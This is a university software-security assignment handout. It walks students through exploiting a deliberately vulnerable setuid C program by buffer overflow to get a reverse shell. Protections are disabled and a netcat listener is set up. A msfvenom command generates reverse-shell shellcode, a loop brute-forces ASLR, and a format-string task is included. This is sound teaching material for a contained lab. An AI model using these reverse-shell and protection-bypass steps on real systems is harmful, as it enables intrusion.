FIT3173 Software Security Assignment-1 (S1 2025)
Total Marks 100
Please see Moodle for the deadline
1 Overview
The primary learning objective of this assignment is to provide you with firsthand experience in exploiting
buffer overflow vulnerabilities and format string issues. Additionally, it aims to deepen your understanding
of how operating system countermeasures function in response to these security challenges. All tasks in this
assignment can be done on Ubuntu VM as used in the labs. Please refer toSection 2for submission notes.
2 Submission
For this assignment, you need to submit two files using a single submission link on Moodle:
• A PDF file with relevant screenshots, and
• a singlevideo filecontaining the recording of you carrying out all tasks.
In your report, you need to answer all the questions listed in this manual. Please answer each question
using at most 200 words. Typeset your report into .pdf format (make sure it can be opened with Adobe
Reader) and name it as the format:[Your Name]-[Student ID]-FIT3173-Assignment.pdf.
All required source code must be embedded directly within your report. If a video demonstration is
needed, please record your screen while providing a voiceover explanation. You may use this free tool:
Panopto, or alternative tools such as Zoom are also acceptable.
Important notes and penalties:
• A part of the submitted video (at a corner) must clearly show your face at all times. Penalties may
apply when that’s not the case.
• Late submissions incur a 5-marks deduction per day. For example, if you submit 2 days and 1 hour
late, that incurs 15-marks deduction. Submissions more than 7 days late will receive a zero mark.
• If you require extension or special consideration, refer tohttps://www.monash.edu/students/
admin/assessments/extensions-special-consideration. No teaching team mem-
ber is allowed to give you extension or special consideration, so please do not reach out to a teaching
team member about this. Follow the guidelines in the aforementioned link.
• The maximum allowed duration for the recorded video is 15 mins. Therefore, only the first 15:00
mins of your submitted video will be marked. Any exceeding video components will be ignored.
• If your device does not have a camera (or for whatever reason you can’t use your device), you can
borrow a device from Monash Connect or Library. It’s your responsibility to plan ahead for this.
Monash Connect or Library not having available devices for loan at a particular point in time is not a
valid excuse.
• You can create multiple video parts at different times, and combine and submit a single video at the
end. Make sure that the final video is clear and understandable.
1
• If any task requires installing new software, you are allowed to do that in advance of recording your
video. You do not need to demonstrate software installation in the video.
• You can do (online) research in advance, take notes and make use of them during your video recording.
You may also prepare exploit scripts in advance. But you cannot simply copy-paste commands to carry
out the tasks without any explanations. Explanations (of what the code does) while completing the
tasks are particularly important.
• During video recording, demonstrations of tasks should be performed live. For example, you cannot
exploit a buffer overflow in advance and then simply walk through the results on screen. However,
you may prepare the commands beforehand and execute them during the demonstration.
• Zero tolerance on plagiarism and academic integrity violations: If you are found cheating, penalties
will apply, e.g., a zero grade for the unit. The demonstration video is also used to detect/avoid plagia-
rism. University policies can be found athttps://www.monash.edu/students/academic/
policies/academic-integrity.
3 Buffer Overflow Vulnerability [65 Marks]
You will be given a program deliberately containing a buffer-overflow vulnerability. Your objective is to de-
vise a strategy to exploit this vulnerability and send a remote access to an attacker. Furthermore, beyond ex-
ecuting the attacks, you will be guided through an examination of various protection schemes implemented
in the operating system designed to thwart buffer overflow vulnerabilities. Your task involves assessing the
efficacy of these countermeasures and providing explanations for their success or failure.
3.1 Initial setup
You can execute the tasks using theUbuntuVM used in the labs.Ubuntuand other Linux distributions
have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our
attacks, we need to disable them first.
Address Space Randomisation.Ubuntuand several other Linux-based systems uses address space ran-
domisation to randomise the starting address of heap and stack. This makes guessing the exact addresses
difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this part, we disable
these features using the following commands:
$ sudo sysctl -w kernel.randomize_va_space=0
The StackGuard Protection Scheme.The GCC compiler implements a security mechanism called “Stack
Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You
can disable this protection if you compile the program using the-fno-stack-protectorswitch. For example,
to compile a program example.c with Stack Guard disabled, you may use the following command:
$ gcc -m32 -fno-stack-protector example.c
2
Non-Executable Stack.Ubuntuused to allow executable stacks, but this has now changed: the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
automatically by the recent versions ofgcc, and by default, the stack is set to be non-executable. To change
that, use the following option when compiling programs:
For executable stack:
$ gcc -m32 -z execstack -o test test.c
For non-executable stack:
$ gcc -m32 -z noexecstack -o test test.c
3.2 The Vulnerable Program
/
*
stack.c
*
/
/
*
This program has a buffer overflow vulnerability.
*
/
/
*
Our task is to exploit this vulnerability
*
/
#include
#include
#include
int bof(char
*
str,int studentID)
{
int bufSize;
int a = 12;
int b = 18;
bufSize = 12 + studentID%32;
char buffer[bufSize];
strcpy(buffer, str);
return 1;
}
int main(int argc, char
**
argv[])
{
if(argc < 2) {
printf("Usage: %s
exit(0);
}
int studentID = ; //ENTER YOUR STUDENT ID HERE
bof(argv[1],studentID);
printf("Returned Properly\n");
return 1;
}
3
You need to enter your student ID to the variablestudentId. Then, compile the above vulnerable
program and make it set-root-uid. You can achieve this by compiling it in therootaccount andchmodthe
executable to4755(don’t forget to include theexecstackand-fno-stack-protectoroptions to
turn off the non-executable stack and StackGuard protections):
$ su root
Password (enter your password)
# gcc -m32 -g -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
The above program has a buffer overflow vulnerability. It takes input from the terminal which is under
user’s control.
3.3 Task 1: Exploiting the Vulnerability [35 Marks]
The objective of this task is to exploit buffer overflow vulnerability in the above provided code (stack.c)
and receive a reverse-shell. You need to read Appendix A.1 to investigate how to create a reverse-shell code.
Then, you also need to study how to simulate an attacker, who is listening at a specific address/port and
waiting for the shell. We refer you to Appendix A.2 for this simulation.
You will need to generate a reverse-shell code using msfvenom and create a payload. Then run the
vulnerable programstackwith your payload. If your exploit is implemented correctly, the attacker should
be able to get the reverse shell.
You will be overflowing the buffer instack.c, which is compiled with the Stack Guard protection
disabled.
$./stack {PAYLOAD} // launch the attack by running the vulnerable program
If the attacker obtains the shell successfully, her terminal should be as follows (assuming that she is
listening at the port4444, and the programstackis running at the address10.0.2.15).
$$ nc -lvp 4444 // listening at the port 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [10.0.2.15] port 4444 [tcp/
*
] accepted
Please note that, ideally, the attack should work outside the debugger. However, making it work inside
GDB is also acceptable. The reason it may not work outside GDB is explainedhere.
Once the attacker obtains the shell, she can remotely manipulate all the current files where the program
stackruns.
4
Q1 (35 marks):Provide your video demonstration evidence to support and verify that you have
performed the attack and it worked successfully.You need to upload the video on Moodle. In the
video, you need to demonstrate following key points:
• The buffer overflow happens and the attacker receives the shell when the victim executes the
vulnerable programstack. (10 marks if the attack works during your demonstration
video)
• Debug the programstackto investigate the return memory address and local variables (high-
light them in your video demo) in the functionbof(). (15 marks for the debug demonstra-
tion and memory analysis)
• Explain clearly the payload used for exploiting the buffer, i.e. how many NOPs were used and
why, how the return address was selected etc..(10 marks for your explanation during the
demonstration video)
Please note that providing incorrect student ID will result 0 mark for this task. The full marks
only given if you have solid explanation with supporting memory address analysis.
3.4 Task 2: Address Randomisation [5 Marks]
Now, we turn on the Ubuntu’s address randomisation. We run the same attack developed in the above task.
Can you get a shell? If not, what is the problem? How does the address randomisation make your
attacks difficult?You can use the following instructions to turn on the address randomisation:
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
If running the vulnerable code once does not get you the root shell, how about running it for many
times? You can run./stackin the following loop , and see what will happen. If your exploit program
is designed properly, you should be able to get the root shell after a while. You can modify your exploit
program to increase the probability of success (i.e., reduce the time that you have to wait).
$ sh -c "while [ 1 ]; do ./stack {PAYLOAD}; done;"
Q2 (5 marks): Follow the above steps, and answer the highlight questions. You should describe
your observation and explanation briefly. Furthermore, try whether you can obtain root shell again.
[Marking scheme: 2 marks for the screenshot and 3 marks for the explanation and solutions].
Note: This question cannot be performed directly in GDB because GDB disables ASLR by default.
If you wish to run it inside GDB, first execute:set disable-randomization off
No video is required for this question.
3.5 Task 3: Stack Guard [20 Marks]
Before working on this task, remember to turn off the address randomisation first, or you will not know
which protection helps achieve the protection.
5
In our previous tasks, we disabled the “Stack Guard” protection mechanism in GCC when compiling
the programs. In this task, you may consider repeating the above task in the presence of Stack Guard. To
do that, you should compile the program without the-fno-stack-protector’option. For this task, you will
recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute thestackprogram again, and
report your observations. You may report any error messages you observe.
In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable
Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use
an older GCC version, you may not have to disable Stack Guard.
Q3 Follow the above steps, and report your observations. Provide a screenshot of the stack and
highlight the stackguard in the screenshot.[Marking scheme: 2 marks for the screenshot and 3
marks for the explanation and solutions](5 marks)
No video is required for this question.
Assume the stackguard is a static value (Your student ID) XORed with the original Return Address.
Example:
22224444 (SID) XOR BFFFFFFB (RA) = 9DDDBBBF (Stack Guard)
Q4 Modify the successful payload from Q1 to bypass the above stackguard. You do not have to
demonstrate the attack for this question. Answer the below points.
• Calculate the stackguard for the payload used in Q1. (2 marks)
• Provide the modified payload which can attack a system with the above stackguard protection.
Length of the stackguard should be same as what you found in Q3. If the length is longer than
the calculated value in the previous step, you may add Fs to the end to match the length. Ex:
9DDDBBBF FFFFFFFF (10 marks)
• Explain how the payload can bypass the stackguard with the above payload. (3 marks)
No video is required for this question.
3.6 Task 4: Non-executable Stack [5 Marks]
Before working on this task, remember to turn off the address randomisation first, or you will not know
which protection helps achieve the protection.
In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable
program using thenoexecstackoption, and repeat the attack in the above task.Can you get a shell? If
not, what is the problem? How does this protection scheme make your attacks difficult.You can use
the following instructions to turn on the non-executable stack protection.
# gcc -o stack -fno-stack-protector -z noexecstack stack.c
It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it
does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting
a buffer-overflow vulnerability.
6
Whether the non-executable stack protection works or not depends on the CPU and the setting of your
virtual machine, because this protection depends on the hardware feature that is provided by CPU.
Q5 (5 marks): Follow the above steps, and answer the highlight questions. You should describe your
observation and explanation briefly.[Marking scheme: 2 marks for the screenshot and 3 marks
for the explanation and solutions]
No video is required for this question.
4 Format String Attack [20 Marks]
For this task you are required to modify the memory using Format String vulnerability in the C program we
have provided. This program takes 3 inputs from the user and outputs a secret at the end. Unlike the lab task
we did, this program doesn’t print the content of the stack. You will have to use the additional input in this
program to look at the stack.
4.1 Task 1: Modifying the memory using Format String vulnerability (20 Marks)
Your goal is to exploit the format string vulnerability in order to change the letters of the secret in the
buffer. This task needs to be performed with address randomization turned on ($ sudo /sbin/sysctl
-w kernel.randomizevaspace=2). Additionally, the exploitation should be carried out in the
terminal; using GDB is not allowed.
If the attack is successful the modified secret should display on the screen. The secret should be
modified differently by each student as below. Example:
22224451 mod 26 = 15
You should use the 15th character in the alphabet: P
Result 0 represents A, 1 represents B and so on.
7
Q6: This question requires video demonstration. There are marks allocated for explaining the
steps while demonstrating.
1. Find the ASCII value of the character to be changed to using the above mentioned method.
Zero marks will be given for the complete question if this calculation is incorrect.(2 Marks).
2. Change the first letter of the secret to the UPPER case letter based on your student ID. Ex:
PIT3173(8 Marks).
3. While the first letter is modified as previous question, now change the fourth letter of the secret
to the LOWER case letter based on your student ID. Ex: PITp173(10 Marks).
Hint: Use an ASCII table online to find out the hexadecimal representation of the letter you want to
change to.
Note: You must not modify the program code in any way. Doing so will result in a score of zero
for this question. Additionally, you cannot run the program multiple times, the format string
exploit must modify both characters simultaneously.
5 Report Completion and Quality of Presentation [15 Marks]
Please include all payloads and stack.c file in the PDF report. Full marks can only be obtained if the report
is complete and appropriately formatted. Marks are allocated to the quality and clarity of presentation in the
report and the video.
A Appendix
A.1 Reverse Shell Creation
A reverse-shell enables the connection from the target machine to the attacker’s machine. In this situation,
the attacker’s machine acts as a server. It opens a communication on a port and waits for incoming connec-
tions. The target machine acts as a client connecting to that listener, and then finally the attacker receives the
shell. These attacks are dangerous because they give an attacker an interactive shell on the target machine,
allowing the attacker to manipulate file system/data.
In this assignment, we usemsfvenommodule in Metasploit to generate the reverse shellcode. Metas-
ploit is one of the most powerful and widely used tools for exploring/testing the vulnerability of computer
systems or to break into remote systems. You first install Metasploit by openning a terminal and entering
the following command. Note that the command is one-line command without line breaks.
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/
master/config/templates/metasploit-framework-wrappers/
msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
To seemsfvenomhelp, you can usemsfvenom -h. To generate a reverse shell, you can use the
following command. You should wait few seconds to obtain the reverse shellcode.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f c
8
where-pis a payload type (in this case it’s for 32-bit Linux reverse shell binary),LHOSTis your VM’s
IP address (assuming you’re the attacker),LPORTis the port where the attacker is listening, and-f
is a format (cin this case).Please note that the shellcode cannot contain NULL or spaces, you
can remove these bad characters using the -b flag, you can also use encoding (https://www.offensive-
security.com/metasploit-unleashed/msfencode/).
A.2 Netcat Listener
In this assignment, we use Netcat to simulate the attacker’s listener. Fortunately, Netcat is already installed
in Ubuntu VM. It’s a versatile tool that has been dubbed the Hackers’ Swiss Army Knife. It’s the most
basic feature is to read and write to TCP and UDP ports. Therfore, it enables Netcat can be run as a client
or a server. To see Netcat help, you can typenc -hin terminal. If you want to connect to a webserver
(10.2.2.2) on port 80, you can type
nc -nv 10.2.2.2 80
And if you want your computer to listen on port 80, you can type
nc -lvp 80
9
